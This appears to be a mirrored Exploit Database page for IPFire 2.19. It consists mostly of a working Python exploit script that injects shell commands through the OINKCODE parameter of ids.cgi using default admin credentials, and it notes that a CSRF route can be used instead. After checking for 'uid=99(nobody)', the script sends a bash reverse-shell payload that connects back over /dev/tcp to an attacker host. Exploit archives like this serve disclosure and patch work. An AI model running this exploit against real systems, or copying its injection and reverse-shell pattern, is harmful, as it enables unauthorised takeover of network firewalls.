IPFire 2.19 – Remote Code Execution

• Exploit Database
• 115 阅读

• 作者： 0x09AL
  日期： 2017-06-09
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/42149/

• # 
  # Title :IPFire 2.19 Firewall Post-Auth RCE
  # Date : 09/06/2017
  # Author : 0x09AL (https://twitter.com/0x09AL)
  # Tested on: IPFire 2.19 (x86_64) - Core Update 110
  # Vendor : http://www.ipfire.org/
  # Software : http://downloads.ipfire.org/releases/ipfire-2.x/2.19-core110/ipfire-2.19.x86_64-full-core110.iso
  # Vulnerability Description:
  # The file ids.cgi doesn't sanitize the OINKCODE parameter and gets passed to a system call which call wget.
  # You need valid credentials to exploit this vulnerability or you can exploit it through CSRF.
  # 
  #
  
  import requests
  
  
  # Adjust the ip and ports. 
  
  revhost = '192.168.56.1'
  revport = 1337
  url = 'https://192.168.56.102:444/cgi-bin/ids.cgi'
  username = 'admin'
  password = 'admin'
  
  
  payload = 'bash -i >& /dev/tcp/' + revhost + '/' + str(revport) + ' 0>&1'
  evildata = {'ENABLE_SNORT_GREEN':'on','ENABLE_SNORT':'on','RULES':'registered','OINKCODE': '`id`','ACTION': 'Download new ruleset','ACTION2':'snort'}
  headers = {'Accept-Encoding' : 'gzip, deflate, br','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','User-Agent':'IPFIRE Exploit','Referer': url,'Upgrade-Insecure-Requests':'1'}
  
  
  def verifyVuln():
  	req = requests.post(url,data=evildata,headers=headers,auth=(username,password),verify=False) # Verify false is added because most of the time the certificate is self signed.
  	if(req.status_code == 200 and "uid=99(nobody)" in req.text):
  		print "[+] IPFire Installation is Vulnerable [+]"
  		revShell()
  	else:
  		print "[+] Not Vulnerable [+]"
  
  def revShell():
  	evildata["OINKCODE"] = '`' + payload + '`'
  	print "[+] Sending Malicious Payload [+]"
  	req = requests.post(url,data=evildata,headers=headers,auth=(username,password),verify=False)
  
  	
  verifyVuln()
  

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